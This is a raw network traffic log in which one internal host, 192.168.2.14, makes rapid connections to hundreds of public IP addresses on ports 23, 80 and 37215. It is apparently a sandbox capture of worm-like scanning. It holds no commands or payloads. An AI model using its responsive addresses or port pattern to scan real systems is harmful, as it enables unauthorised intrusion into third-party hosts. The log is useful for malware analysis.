Oct 14, 2024 17:34:12.875699997 CEST	53872	23	192.168.2.14	123.159.80.165
Oct 14, 2024 17:34:12.875700951 CEST	38570	23	192.168.2.14	60.132.195.87
Oct 14, 2024 17:34:12.875700951 CEST	56470	23	192.168.2.14	83.128.0.75
Oct 14, 2024 17:34:12.875700951 CEST	40818	23	192.168.2.14	204.49.30.44
Oct 14, 2024 17:34:12.875711918 CEST	60768	23	192.168.2.14	52.197.139.208
Oct 14, 2024 17:34:12.875715017 CEST	55838	23	192.168.2.14	23.127.149.196
Oct 14, 2024 17:34:12.875715971 CEST	38326	23	192.168.2.14	78.16.137.56
Oct 14, 2024 17:34:12.881270885 CEST	37215	52642	41.117.115.104	192.168.2.14
Oct 14, 2024 17:34:12.881279945 CEST	80	41770	18.28.241.145	192.168.2.14
Oct 14, 2024 17:34:12.881288052 CEST	37215	48818	156.8.22.233	192.168.2.14
Oct 14, 2024 17:34:12.881297112 CEST	23	40794	157.110.25.255	192.168.2.14
Oct 14, 2024 17:34:12.881304979 CEST	80	54174	80.16.214.233	192.168.2.14
Oct 14, 2024 17:34:12.881309032 CEST	23	37854	9.11.142.153	192.168.2.14
Oct 14, 2024 17:34:12.881318092 CEST	80	54954	131.156.38.106	192.168.2.14
Oct 14, 2024 17:34:12.881396055 CEST	23	53364	35.51.123.94	192.168.2.14
Oct 14, 2024 17:34:12.881405115 CEST	23	53304	218.55.165.29	192.168.2.14
Oct 14, 2024 17:34:12.881412983 CEST	80	49814	179.221.209.219	192.168.2.14
Oct 14, 2024 17:34:12.881422043 CEST	80	39220	76.232.178.92	192.168.2.14
Oct 14, 2024 17:34:12.881429911 CEST	37215	57900	197.84.254.99	192.168.2.14
Oct 14, 2024 17:34:12.881429911 CEST	41770	80	192.168.2.14	18.28.241.145
Oct 14, 2024 17:34:12.881433010 CEST	52642	37215	192.168.2.14	41.117.115.104
Oct 14, 2024 17:34:12.881438017 CEST	80	43396	136.219.76.182	192.168.2.14
Oct 14, 2024 17:34:12.881445885 CEST	54174	80	192.168.2.14	80.16.214.233
Oct 14, 2024 17:34:12.881447077 CEST	23	57218	163.103.18.4	192.168.2.14
Oct 14, 2024 17:34:12.881445885 CEST	53364	23	192.168.2.14	35.51.123.94
Oct 14, 2024 17:34:12.881450891 CEST	54954	80	192.168.2.14	131.156.38.106
Oct 14, 2024 17:34:12.881450891 CEST	37854	23	192.168.2.14	9.11.142.153
Oct 14, 2024 17:34:12.881452084 CEST	48818	37215	192.168.2.14	156.8.22.233
Oct 14, 2024 17:34:12.881452084 CEST	40794	23	192.168.2.14	157.110.25.255
Oct 14, 2024 17:34:12.881455898 CEST	23	58002	111.31.238.180	192.168.2.14
Oct 14, 2024 17:34:12.881458044 CEST	53304	23	192.168.2.14	218.55.165.29
Oct 14, 2024 17:34:12.881465912 CEST	23	34820	221.31.134.11	192.168.2.14
Oct 14, 2024 17:34:12.881477118 CEST	49814	80	192.168.2.14	179.221.209.219
Oct 14, 2024 17:34:12.881483078 CEST	39220	80	192.168.2.14	76.232.178.92
Oct 14, 2024 17:34:12.881498098 CEST	23	56094	125.7.78.111	192.168.2.14
Oct 14, 2024 17:34:12.881500959 CEST	58002	23	192.168.2.14	111.31.238.180
Oct 14, 2024 17:34:12.881504059 CEST	57900	37215	192.168.2.14	197.84.254.99
Oct 14, 2024 17:34:12.881506920 CEST	80	50276	197.76.254.99	192.168.2.14
Oct 14, 2024 17:34:12.881515980 CEST	80	54104	141.182.88.11	192.168.2.14
Oct 14, 2024 17:34:12.881519079 CEST	57218	23	192.168.2.14	163.103.18.4
Oct 14, 2024 17:34:12.881519079 CEST	34820	23	192.168.2.14	221.31.134.11
Oct 14, 2024 17:34:12.881525993 CEST	43396	80	192.168.2.14	136.219.76.182
Oct 14, 2024 17:34:12.881527901 CEST	80	45036	163.129.240.99	192.168.2.14
Oct 14, 2024 17:34:12.881536007 CEST	23	38570	60.132.195.87	192.168.2.14
Oct 14, 2024 17:34:12.881536007 CEST	56094	23	192.168.2.14	125.7.78.111
Oct 14, 2024 17:34:12.881544113 CEST	23	56924	213.8.157.210	192.168.2.14
Oct 14, 2024 17:34:12.881545067 CEST	50276	80	192.168.2.14	197.76.254.99
Oct 14, 2024 17:34:12.881553888 CEST	23	40818	204.49.30.44	192.168.2.14
Oct 14, 2024 17:34:12.881557941 CEST	54104	80	192.168.2.14	141.182.88.11
Oct 14, 2024 17:34:12.881557941 CEST	23	53872	123.159.80.165	192.168.2.14
Oct 14, 2024 17:34:12.881567955 CEST	23	60768	52.197.139.208	192.168.2.14
Oct 14, 2024 17:34:12.881568909 CEST	45036	80	192.168.2.14	163.129.240.99
Oct 14, 2024 17:34:12.881576061 CEST	23	56470	83.128.0.75	192.168.2.14
Oct 14, 2024 17:34:12.881577969 CEST	38570	23	192.168.2.14	60.132.195.87
Oct 14, 2024 17:34:12.881587029 CEST	23	55838	23.127.149.196	192.168.2.14
Oct 14, 2024 17:34:12.881591082 CEST	54174	80	192.168.2.14	80.16.214.233
Oct 14, 2024 17:34:12.881591082 CEST	54174	80	192.168.2.14	80.16.214.233
Oct 14, 2024 17:34:12.881596088 CEST	23	38326	78.16.137.56	192.168.2.14
Oct 14, 2024 17:34:12.881599903 CEST	56924	23	192.168.2.14	213.8.157.210
Oct 14, 2024 17:34:12.881599903 CEST	53872	23	192.168.2.14	123.159.80.165
Oct 14, 2024 17:34:12.881604910 CEST	60768	23	192.168.2.14	52.197.139.208
Oct 14, 2024 17:34:12.881606102 CEST	40818	23	192.168.2.14	204.49.30.44
Oct 14, 2024 17:34:12.881624937 CEST	56470	23	192.168.2.14	83.128.0.75
Oct 14, 2024 17:34:12.881648064 CEST	38326	23	192.168.2.14	78.16.137.56
Oct 14, 2024 17:34:12.881781101 CEST	55838	23	192.168.2.14	23.127.149.196
Oct 14, 2024 17:34:12.881917000 CEST	48818	37215	192.168.2.14	156.8.22.233
Oct 14, 2024 17:34:12.881917000 CEST	48818	37215	192.168.2.14	156.8.22.233
Oct 14, 2024 17:34:12.882308006 CEST	55070	80	192.168.2.14	80.16.214.233
Oct 14, 2024 17:34:12.882920980 CEST	49712	37215	192.168.2.14	156.8.22.233
Oct 14, 2024 17:34:12.883357048 CEST	41770	80	192.168.2.14	18.28.241.145
Oct 14, 2024 17:34:12.883368969 CEST	41770	80	192.168.2.14	18.28.241.145
Oct 14, 2024 17:34:12.884515047 CEST	52642	37215	192.168.2.14	41.117.115.104
Oct 14, 2024 17:34:12.884515047 CEST	52642	37215	192.168.2.14	41.117.115.104
Oct 14, 2024 17:34:12.884603977 CEST	42658	80	192.168.2.14	18.28.241.145
Oct 14, 2024 17:34:12.885477066 CEST	53536	37215	192.168.2.14	41.117.115.104
Oct 14, 2024 17:34:12.885608912 CEST	50276	80	192.168.2.14	197.76.254.99
Oct 14, 2024 17:34:12.885608912 CEST	50276	80	192.168.2.14	197.76.254.99
Oct 14, 2024 17:34:12.886460066 CEST	57900	37215	192.168.2.14	197.84.254.99
Oct 14, 2024 17:34:12.886460066 CEST	57900	37215	192.168.2.14	197.84.254.99
Oct 14, 2024 17:34:12.886507988 CEST	51206	80	192.168.2.14	197.76.254.99
Oct 14, 2024 17:34:12.886981964 CEST	80	54174	80.16.214.233	192.168.2.14
Oct 14, 2024 17:34:12.886991024 CEST	37215	48818	156.8.22.233	192.168.2.14
Oct 14, 2024 17:34:12.887305975 CEST	58810	37215	192.168.2.14	197.84.254.99
Oct 14, 2024 17:34:12.887322903 CEST	80	55070	80.16.214.233	192.168.2.14
Oct 14, 2024 17:34:12.887370110 CEST	55070	80	192.168.2.14	80.16.214.233
Oct 14, 2024 17:34:12.887413979 CEST	39220	80	192.168.2.14	76.232.178.92
Oct 14, 2024 17:34:12.887425900 CEST	39220	80	192.168.2.14	76.232.178.92
Oct 14, 2024 17:34:12.887829065 CEST	37215	49712	156.8.22.233	192.168.2.14
Oct 14, 2024 17:34:12.887886047 CEST	49712	37215	192.168.2.14	156.8.22.233
Oct 14, 2024 17:34:12.888181925 CEST	49712	37215	192.168.2.14	156.8.22.233
Oct 14, 2024 17:34:12.888215065 CEST	80	41770	18.28.241.145	192.168.2.14
Oct 14, 2024 17:34:12.888236046 CEST	40150	80	192.168.2.14	76.232.178.92
Oct 14, 2024 17:34:12.888866901 CEST	43396	80	192.168.2.14	136.219.76.182
Oct 14, 2024 17:34:12.888866901 CEST	43396	80	192.168.2.14	136.219.76.182
Oct 14, 2024 17:34:12.889152050 CEST	44324	80	192.168.2.14	136.219.76.182
Oct 14, 2024 17:34:12.889336109 CEST	37215	52642	41.117.115.104	192.168.2.14
Oct 14, 2024 17:34:12.889482975 CEST	80	42658	18.28.241.145	192.168.2.14
Oct 14, 2024 17:34:12.889535904 CEST	42658	80	192.168.2.14	18.28.241.145
Oct 14, 2024 17:34:12.889599085 CEST	49814	80	192.168.2.14	179.221.209.219
Oct 14, 2024 17:34:12.889599085 CEST	49814	80	192.168.2.14	179.221.209.219
Oct 14, 2024 17:34:12.889914989 CEST	50736	80	192.168.2.14	179.221.209.219
Oct 14, 2024 17:34:12.890284061 CEST	37215	53536	41.117.115.104	192.168.2.14
Oct 14, 2024 17:34:12.890341997 CEST	53536	37215	192.168.2.14	41.117.115.104
Oct 14, 2024 17:34:12.890372992 CEST	54954	80	192.168.2.14	131.156.38.106
Oct 14, 2024 17:34:12.890372992 CEST	54954	80	192.168.2.14	131.156.38.106
Oct 14, 2024 17:34:12.890393019 CEST	53536	37215	192.168.2.14	41.117.115.104
Oct 14, 2024 17:34:12.890480042 CEST	80	50276	197.76.254.99	192.168.2.14
Oct 14, 2024 17:34:12.890665054 CEST	55874	80	192.168.2.14	131.156.38.106
Oct 14, 2024 17:34:12.891154051 CEST	45036	80	192.168.2.14	163.129.240.99
Oct 14, 2024 17:34:12.891154051 CEST	45036	80	192.168.2.14	163.129.240.99
Oct 14, 2024 17:34:12.891228914 CEST	37215	57900	197.84.254.99	192.168.2.14
Oct 14, 2024 17:34:12.891772985 CEST	45982	80	192.168.2.14	163.129.240.99
Oct 14, 2024 17:34:12.891787052 CEST	80	51206	197.76.254.99	192.168.2.14
Oct 14, 2024 17:34:12.891829014 CEST	51206	80	192.168.2.14	197.76.254.99
Oct 14, 2024 17:34:12.892244101 CEST	54104	80	192.168.2.14	141.182.88.11
Oct 14, 2024 17:34:12.892244101 CEST	54104	80	192.168.2.14	141.182.88.11
Oct 14, 2024 17:34:12.892266035 CEST	80	39220	76.232.178.92	192.168.2.14
Oct 14, 2024 17:34:12.892760992 CEST	55036	80	192.168.2.14	141.182.88.11
Oct 14, 2024 17:34:12.893172026 CEST	55070	80	192.168.2.14	80.16.214.233
Oct 14, 2024 17:34:12.893178940 CEST	42658	80	192.168.2.14	18.28.241.145
Oct 14, 2024 17:34:12.893210888 CEST	51206	80	192.168.2.14	197.76.254.99
Oct 14, 2024 17:34:12.893665075 CEST	80	43396	136.219.76.182	192.168.2.14
Oct 14, 2024 17:34:12.894412041 CEST	37215	49712	156.8.22.233	192.168.2.14
Oct 14, 2024 17:34:12.894467115 CEST	49712	37215	192.168.2.14	156.8.22.233
Oct 14, 2024 17:34:12.894495010 CEST	80	49814	179.221.209.219	192.168.2.14
Oct 14, 2024 17:34:12.895297050 CEST	80	54954	131.156.38.106	192.168.2.14
Oct 14, 2024 17:34:12.895597935 CEST	37215	53536	41.117.115.104	192.168.2.14
Oct 14, 2024 17:34:12.895648003 CEST	53536	37215	192.168.2.14	41.117.115.104
Oct 14, 2024 17:34:12.896007061 CEST	80	45036	163.129.240.99	192.168.2.14
Oct 14, 2024 17:34:12.896636963 CEST	80	45982	163.129.240.99	192.168.2.14
Oct 14, 2024 17:34:12.896707058 CEST	45982	80	192.168.2.14	163.129.240.99
Oct 14, 2024 17:34:12.896707058 CEST	45982	80	192.168.2.14	163.129.240.99
Oct 14, 2024 17:34:12.897104979 CEST	80	54104	141.182.88.11	192.168.2.14
Oct 14, 2024 17:34:12.898102045 CEST	80	55070	80.16.214.233	192.168.2.14
Oct 14, 2024 17:34:12.898144007 CEST	55070	80	192.168.2.14	80.16.214.233
Oct 14, 2024 17:34:12.898586988 CEST	80	42658	18.28.241.145	192.168.2.14
Oct 14, 2024 17:34:12.898763895 CEST	80	51206	197.76.254.99	192.168.2.14
Oct 14, 2024 17:34:12.898775101 CEST	42658	80	192.168.2.14	18.28.241.145
Oct 14, 2024 17:34:12.898806095 CEST	51206	80	192.168.2.14	197.76.254.99
Oct 14, 2024 17:34:12.902023077 CEST	80	45982	163.129.240.99	192.168.2.14
Oct 14, 2024 17:34:12.902241945 CEST	45982	80	192.168.2.14	163.129.240.99
Oct 14, 2024 17:34:12.907628059 CEST	37134	37215	192.168.2.14	41.159.121.25
Oct 14, 2024 17:34:12.907628059 CEST	45388	37215	192.168.2.14	197.98.247.38
Oct 14, 2024 17:34:12.907636881 CEST	44160	37215	192.168.2.14	41.49.32.181
Oct 14, 2024 17:34:12.907639980 CEST	39054	37215	192.168.2.14	197.139.167.177
Oct 14, 2024 17:34:12.907643080 CEST	40240	37215	192.168.2.14	41.139.171.186
Oct 14, 2024 17:34:12.907643080 CEST	41902	37215	192.168.2.14	197.29.138.176
Oct 14, 2024 17:34:12.907646894 CEST	32938	37215	192.168.2.14	197.46.116.92
Oct 14, 2024 17:34:12.907660007 CEST	53696	37215	192.168.2.14	197.153.240.99
Oct 14, 2024 17:34:12.907670021 CEST	55316	37215	192.168.2.14	156.78.111.135
Oct 14, 2024 17:34:12.907671928 CEST	48132	37215	192.168.2.14	156.239.18.206
Oct 14, 2024 17:34:12.907671928 CEST	34852	37215	192.168.2.14	197.7.119.78
Oct 14, 2024 17:34:12.911607027 CEST	38930	23	192.168.2.14	141.60.192.210
Oct 14, 2024 17:34:12.911616087 CEST	40506	80	192.168.2.14	81.242.26.186
Oct 14, 2024 17:34:12.911616087 CEST	60268	80	192.168.2.14	18.37.19.186
Oct 14, 2024 17:34:12.911627054 CEST	51316	23	192.168.2.14	112.141.62.211
Oct 14, 2024 17:34:12.911631107 CEST	55566	80	192.168.2.14	89.21.126.116
Oct 14, 2024 17:34:12.911632061 CEST	38796	80	192.168.2.14	173.186.167.2
Oct 14, 2024 17:34:12.911633015 CEST	36810	23	192.168.2.14	109.70.21.22
Oct 14, 2024 17:34:12.911633015 CEST	46922	80	192.168.2.14	163.210.11.220
Oct 14, 2024 17:34:12.911633968 CEST	52796	80	192.168.2.14	128.92.16.60
Oct 14, 2024 17:34:12.911633015 CEST	37084	23	192.168.2.14	115.176.146.139
Oct 14, 2024 17:34:12.911633015 CEST	55724	80	192.168.2.14	104.242.129.6
Oct 14, 2024 17:34:12.911640882 CEST	43702	80	192.168.2.14	102.134.111.181
Oct 14, 2024 17:34:12.911643028 CEST	39172	23	192.168.2.14	74.244.67.116
Oct 14, 2024 17:34:12.911643028 CEST	47576	80	192.168.2.14	12.12.20.232
Oct 14, 2024 17:34:12.911643028 CEST	41576	23	192.168.2.14	109.26.247.117
Oct 14, 2024 17:34:12.911643982 CEST	54550	23	192.168.2.14	42.20.65.5
Oct 14, 2024 17:34:12.911643982 CEST	42304	23	192.168.2.14	130.85.147.157
Oct 14, 2024 17:34:12.912791014 CEST	37215	37134	41.159.121.25	192.168.2.14
Oct 14, 2024 17:34:12.912841082 CEST	37134	37215	192.168.2.14	41.159.121.25
Oct 14, 2024 17:34:12.912977934 CEST	37134	37215	192.168.2.14	41.159.121.25
Oct 14, 2024 17:34:12.912997007 CEST	37134	37215	192.168.2.14	41.159.121.25
Oct 14, 2024 17:34:12.913315058 CEST	37986	37215	192.168.2.14	41.159.121.25
Oct 14, 2024 17:34:12.916568041 CEST	23	38930	141.60.192.210	192.168.2.14
Oct 14, 2024 17:34:12.916620970 CEST	38930	23	192.168.2.14	141.60.192.210
Oct 14, 2024 17:34:12.918065071 CEST	37215	37134	41.159.121.25	192.168.2.14
Oct 14, 2024 17:34:12.927153111 CEST	37215	48818	156.8.22.233	192.168.2.14
Oct 14, 2024 17:34:12.927197933 CEST	80	54174	80.16.214.233	192.168.2.14
Oct 14, 2024 17:34:12.931138039 CEST	80	50276	197.76.254.99	192.168.2.14
Oct 14, 2024 17:34:12.931185007 CEST	37215	52642	41.117.115.104	192.168.2.14
Oct 14, 2024 17:34:12.931193113 CEST	80	41770	18.28.241.145	192.168.2.14
Oct 14, 2024 17:34:12.935226917 CEST	80	43396	136.219.76.182	192.168.2.14
Oct 14, 2024 17:34:12.935235023 CEST	80	39220	76.232.178.92	192.168.2.14
Oct 14, 2024 17:34:12.935421944 CEST	37215	57900	197.84.254.99	192.168.2.14
Oct 14, 2024 17:34:12.939117908 CEST	80	49814	179.221.209.219	192.168.2.14
Oct 14, 2024 17:34:12.939202070 CEST	80	54104	141.182.88.11	192.168.2.14
Oct 14, 2024 17:34:12.939209938 CEST	80	45036	163.129.240.99	192.168.2.14
Oct 14, 2024 17:34:12.939218998 CEST	80	54954	131.156.38.106	192.168.2.14
Oct 14, 2024 17:34:12.939733028 CEST	37908	23	192.168.2.14	82.31.29.255
Oct 14, 2024 17:34:12.939733028 CEST	46272	80	192.168.2.14	87.197.76.211
Oct 14, 2024 17:34:12.939743042 CEST	39368	37215	192.168.2.14	197.106.26.143
Oct 14, 2024 17:34:12.939743996 CEST	46494	37215	192.168.2.14	197.245.188.186
Oct 14, 2024 17:34:12.939743996 CEST	39794	37215	192.168.2.14	156.151.132.197
Oct 14, 2024 17:34:12.939744949 CEST	34244	37215	192.168.2.14	41.156.103.248
Oct 14, 2024 17:34:12.939743996 CEST	55936	80	192.168.2.14	194.123.231.244
Oct 14, 2024 17:34:12.939744949 CEST	47612	80	192.168.2.14	4.20.103.182
Oct 14, 2024 17:34:12.939743996 CEST	45064	23	192.168.2.14	123.6.9.89
Oct 14, 2024 17:34:12.939747095 CEST	38200	23	192.168.2.14	182.127.61.41
Oct 14, 2024 17:34:12.939744949 CEST	51708	23	192.168.2.14	201.81.60.236
Oct 14, 2024 17:34:12.939743996 CEST	41838	37215	192.168.2.14	156.9.213.58
Oct 14, 2024 17:34:12.939744949 CEST	49244	80	192.168.2.14	193.14.240.77
Oct 14, 2024 17:34:12.939744949 CEST	38466	80	192.168.2.14	130.144.228.118
Oct 14, 2024 17:34:12.939743996 CEST	41462	23	192.168.2.14	130.154.46.26
Oct 14, 2024 17:34:12.939743996 CEST	52210	23	192.168.2.14	125.187.27.4
Oct 14, 2024 17:34:12.939769983 CEST	38064	23	192.168.2.14	161.2.253.239
Oct 14, 2024 17:34:12.939770937 CEST	46692	23	192.168.2.14	8.206.158.60
Oct 14, 2024 17:34:12.939769983 CEST	57482	37215	192.168.2.14	156.167.4.14
Oct 14, 2024 17:34:12.939769983 CEST	49854	23	192.168.2.14	18.50.206.178
Oct 14, 2024 17:34:12.939771891 CEST	54270	37215	192.168.2.14	156.56.88.39
Oct 14, 2024 17:34:12.939769983 CEST	42304	80	192.168.2.14	187.120.252.183
Oct 14, 2024 17:34:12.939774990 CEST	44114	80	192.168.2.14	205.180.95.44
Oct 14, 2024 17:34:12.939774990 CEST	39242	23	192.168.2.14	14.241.193.130
Oct 14, 2024 17:34:12.939774990 CEST	47448	37215	192.168.2.14	41.66.222.121
Oct 14, 2024 17:34:12.939774990 CEST	40956	23	192.168.2.14	180.246.180.20
Oct 14, 2024 17:34:12.939776897 CEST	32814	80	192.168.2.14	188.147.252.5
Oct 14, 2024 17:34:12.939774990 CEST	43620	80	192.168.2.14	27.156.152.253
Oct 14, 2024 17:34:12.939785004 CEST	39028	80	192.168.2.14	189.202.27.135
Oct 14, 2024 17:34:12.944515944 CEST	23	37908	82.31.29.255	192.168.2.14
Oct 14, 2024 17:34:12.944534063 CEST	80	46272	87.197.76.211	192.168.2.14
Oct 14, 2024 17:34:12.944572926 CEST	37908	23	192.168.2.14	82.31.29.255
Oct 14, 2024 17:34:12.944586039 CEST	46272	80	192.168.2.14	87.197.76.211
Oct 14, 2024 17:34:12.944596052 CEST	37215	39368	197.106.26.143	192.168.2.14
Oct 14, 2024 17:34:12.944680929 CEST	46272	80	192.168.2.14	87.197.76.211
Oct 14, 2024 17:34:12.944680929 CEST	46272	80	192.168.2.14	87.197.76.211
Oct 14, 2024 17:34:12.944717884 CEST	39368	37215	192.168.2.14	197.106.26.143
Oct 14, 2024 17:34:12.944842100 CEST	39368	37215	192.168.2.14	197.106.26.143
Oct 14, 2024 17:34:12.944853067 CEST	39368	37215	192.168.2.14	197.106.26.143
Oct 14, 2024 17:34:12.945012093 CEST	47118	80	192.168.2.14	87.197.76.211
Oct 14, 2024 17:34:12.945787907 CEST	40174	37215	192.168.2.14	197.106.26.143
Oct 14, 2024 17:34:12.949495077 CEST	80	46272	87.197.76.211	192.168.2.14
Oct 14, 2024 17:34:12.949700117 CEST	37215	39368	197.106.26.143	192.168.2.14
Oct 14, 2024 17:34:12.959176064 CEST	37215	37134	41.159.121.25	192.168.2.14
Oct 14, 2024 17:34:12.971606970 CEST	36180	23	192.168.2.14	95.183.143.178
Oct 14, 2024 17:34:12.971625090 CEST	36676	80	192.168.2.14	76.233.57.173
Oct 14, 2024 17:34:12.971626043 CEST	44918	37215	192.168.2.14	156.49.31.7
Oct 14, 2024 17:34:12.971626043 CEST	58110	80	192.168.2.14	112.182.1.223
Oct 14, 2024 17:34:12.971626043 CEST	43954	80	192.168.2.14	59.97.134.93
Oct 14, 2024 17:34:12.971626043 CEST	55448	80	192.168.2.14	74.161.242.25
Oct 14, 2024 17:34:12.971626043 CEST	54708	23	192.168.2.14	58.237.142.177
Oct 14, 2024 17:34:12.971637011 CEST	45896	80	192.168.2.14	162.93.214.216
Oct 14, 2024 17:34:12.971640110 CEST	39088	80	192.168.2.14	78.42.72.124
Oct 14, 2024 17:34:12.971640110 CEST	56350	80	192.168.2.14	112.247.197.61
Oct 14, 2024 17:34:12.971640110 CEST	37464	80	192.168.2.14	159.54.76.10
Oct 14, 2024 17:34:12.971640110 CEST	50850	80	192.168.2.14	173.184.66.231
Oct 14, 2024 17:34:12.971642971 CEST	51738	80	192.168.2.14	121.0.227.65
Oct 14, 2024 17:34:12.971642971 CEST	55026	37215	192.168.2.14	41.135.128.225
Oct 14, 2024 17:34:12.971642971 CEST	58412	23	192.168.2.14	159.62.157.90
Oct 14, 2024 17:34:12.971642971 CEST	59872	23	192.168.2.14	18.200.80.120
Oct 14, 2024 17:34:12.971642971 CEST	50428	37215	192.168.2.14	41.214.67.227
Oct 14, 2024 17:34:12.971651077 CEST	55906	37215	192.168.2.14	197.83.160.66
Oct 14, 2024 17:34:12.971651077 CEST	40730	37215	192.168.2.14	197.66.116.67
Oct 14, 2024 17:34:12.971658945 CEST	42906	37215	192.168.2.14	197.50.50.50
Oct 14, 2024 17:34:12.971658945 CEST	58898	37215	192.168.2.14	41.204.146.139
Oct 14, 2024 17:34:12.971662045 CEST	42188	37215	192.168.2.14	156.26.138.86
Oct 14, 2024 17:34:12.971662045 CEST	59018	37215	192.168.2.14	41.24.42.129
Oct 14, 2024 17:34:12.971664906 CEST	53084	80	192.168.2.14	134.118.16.121
Oct 14, 2024 17:34:12.971664906 CEST	57150	37215	192.168.2.14	41.149.40.114
Oct 14, 2024 17:34:12.971664906 CEST	48562	37215	192.168.2.14	156.250.109.164
Oct 14, 2024 17:34:12.976542950 CEST	23	36180	95.183.143.178	192.168.2.14
Oct 14, 2024 17:34:12.976588011 CEST	80	36676	76.233.57.173	192.168.2.14
Oct 14, 2024 17:34:12.976687908 CEST	36180	23	192.168.2.14	95.183.143.178
Oct 14, 2024 17:34:12.976701975 CEST	36676	80	192.168.2.14	76.233.57.173
Oct 14, 2024 17:34:12.976701975 CEST	36676	80	192.168.2.14	76.233.57.173
Oct 14, 2024 17:34:12.976707935 CEST	37215	44918	156.49.31.7	192.168.2.14
Oct 14, 2024 17:34:12.976708889 CEST	36676	80	192.168.2.14	76.233.57.173
Oct 14, 2024 17:34:12.976766109 CEST	44918	37215	192.168.2.14	156.49.31.7
Oct 14, 2024 17:34:12.976867914 CEST	44918	37215	192.168.2.14	156.49.31.7
Oct 14, 2024 17:34:12.976881027 CEST	44918	37215	192.168.2.14	156.49.31.7
Oct 14, 2024 17:34:12.977004051 CEST	37406	80	192.168.2.14	76.233.57.173
Oct 14, 2024 17:34:12.977961063 CEST	45658	37215	192.168.2.14	156.49.31.7
Oct 14, 2024 17:34:12.981633902 CEST	80	36676	76.233.57.173	192.168.2.14
Oct 14, 2024 17:34:12.982001066 CEST	37215	44918	156.49.31.7	192.168.2.14
Oct 14, 2024 17:34:12.991424084 CEST	37215	39368	197.106.26.143	192.168.2.14
Oct 14, 2024 17:34:12.991435051 CEST	80	46272	87.197.76.211	192.168.2.14
Oct 14, 2024 17:34:13.003633022 CEST	51160	37215	192.168.2.14	156.152.71.59
Oct 14, 2024 17:34:13.003634930 CEST	53512	37215	192.168.2.14	156.160.223.165
Oct 14, 2024 17:34:13.003635883 CEST	35148	37215	192.168.2.14	156.80.33.71
Oct 14, 2024 17:34:13.003637075 CEST	35060	37215	192.168.2.14	156.33.129.230
Oct 14, 2024 17:34:13.003637075 CEST	42168	23	192.168.2.14	174.59.244.233
Oct 14, 2024 17:34:13.003637075 CEST	36580	37215	192.168.2.14	197.174.29.102
Oct 14, 2024 17:34:13.003640890 CEST	53906	80	192.168.2.14	134.100.91.77
Oct 14, 2024 17:34:13.003640890 CEST	55980	37215	192.168.2.14	197.255.55.238
Oct 14, 2024 17:34:13.003659964 CEST	38196	80	192.168.2.14	223.97.180.227
Oct 14, 2024 17:34:13.003659964 CEST	47468	80	192.168.2.14	181.149.65.97
Oct 14, 2024 17:34:13.003659964 CEST	44204	80	192.168.2.14	5.143.12.228
Oct 14, 2024 17:34:13.003662109 CEST	45636	37215	192.168.2.14	197.92.93.219
Oct 14, 2024 17:34:13.003663063 CEST	34220	80	192.168.2.14	62.158.153.79
Oct 14, 2024 17:34:13.003662109 CEST	60192	37215	192.168.2.14	41.30.134.63
Oct 14, 2024 17:34:13.003663063 CEST	37366	23	192.168.2.14	49.233.47.69
Oct 14, 2024 17:34:13.003664970 CEST	60468	23	192.168.2.14	114.17.11.53
Oct 14, 2024 17:34:13.003668070 CEST	50962	80	192.168.2.14	160.127.65.236
Oct 14, 2024 17:34:13.003668070 CEST	52578	23	192.168.2.14	145.137.105.15
Oct 14, 2024 17:34:13.003670931 CEST	44456	80	192.168.2.14	118.39.183.38
Oct 14, 2024 17:34:13.003670931 CEST	34780	80	192.168.2.14	110.104.117.231
Oct 14, 2024 17:34:13.003670931 CEST	44738	23	192.168.2.14	133.122.153.90
Oct 14, 2024 17:34:13.003681898 CEST	56474	23	192.168.2.14	140.123.108.122
Oct 14, 2024 17:34:13.003684044 CEST	43482	23	192.168.2.14	155.60.53.23
Oct 14, 2024 17:34:13.008718014 CEST	37215	51160	156.152.71.59	192.168.2.14
Oct 14, 2024 17:34:13.008744955 CEST	37215	53512	156.160.223.165	192.168.2.14
Oct 14, 2024 17:34:13.008773088 CEST	51160	37215	192.168.2.14	156.152.71.59
Oct 14, 2024 17:34:13.008789062 CEST	37215	35148	156.80.33.71	192.168.2.14
Oct 14, 2024 17:34:13.008795977 CEST	53512	37215	192.168.2.14	156.160.223.165
Oct 14, 2024 17:34:13.008831024 CEST	35148	37215	192.168.2.14	156.80.33.71
Oct 14, 2024 17:34:13.008884907 CEST	51160	37215	192.168.2.14	156.152.71.59
Oct 14, 2024 17:34:13.008884907 CEST	51160	37215	192.168.2.14	156.152.71.59
Oct 14, 2024 17:34:13.009284973 CEST	51878	37215	192.168.2.14	156.152.71.59
Oct 14, 2024 17:34:13.010251999 CEST	53512	37215	192.168.2.14	156.160.223.165
Oct 14, 2024 17:34:13.010251999 CEST	53512	37215	192.168.2.14	156.160.223.165
Oct 14, 2024 17:34:13.010613918 CEST	54202	37215	192.168.2.14	156.160.223.165
Oct 14, 2024 17:34:13.011271000 CEST	35148	37215	192.168.2.14	156.80.33.71
Oct 14, 2024 17:34:13.011271000 CEST	35148	37215	192.168.2.14	156.80.33.71
Oct 14, 2024 17:34:13.011677980 CEST	35844	37215	192.168.2.14	156.80.33.71
Oct 14, 2024 17:34:13.013694048 CEST	37215	51160	156.152.71.59	192.168.2.14
Oct 14, 2024 17:34:13.015573025 CEST	37215	53512	156.160.223.165	192.168.2.14
Oct 14, 2024 17:34:13.016109943 CEST	37215	35148	156.80.33.71	192.168.2.14
Oct 14, 2024 17:34:13.016503096 CEST	37215	35844	156.80.33.71	192.168.2.14
Oct 14, 2024 17:34:13.016550064 CEST	35844	37215	192.168.2.14	156.80.33.71
Oct 14, 2024 17:34:13.016585112 CEST	35844	37215	192.168.2.14	156.80.33.71
Oct 14, 2024 17:34:13.022176027 CEST	37215	35844	156.80.33.71	192.168.2.14
Oct 14, 2024 17:34:13.022223949 CEST	35844	37215	192.168.2.14	156.80.33.71
Oct 14, 2024 17:34:13.023185015 CEST	37215	44918	156.49.31.7	192.168.2.14
Oct 14, 2024 17:34:13.023194075 CEST	80	36676	76.233.57.173	192.168.2.14
Oct 14, 2024 17:34:13.035729885 CEST	54980	23	192.168.2.14	206.60.64.183
Oct 14, 2024 17:34:13.035729885 CEST	50408	80	192.168.2.14	13.192.143.77
Oct 14, 2024 17:34:13.035729885 CEST	35360	80	192.168.2.14	88.17.169.94
Oct 14, 2024 17:34:13.035733938 CEST	36176	37215	192.168.2.14	41.55.52.208
Oct 14, 2024 17:34:13.035736084 CEST	49994	23	192.168.2.14	212.49.61.57
Oct 14, 2024 17:34:13.035737991 CEST	54290	37215	192.168.2.14	197.81.80.21
Oct 14, 2024 17:34:13.035737991 CEST	51924	80	192.168.2.14	61.0.111.114
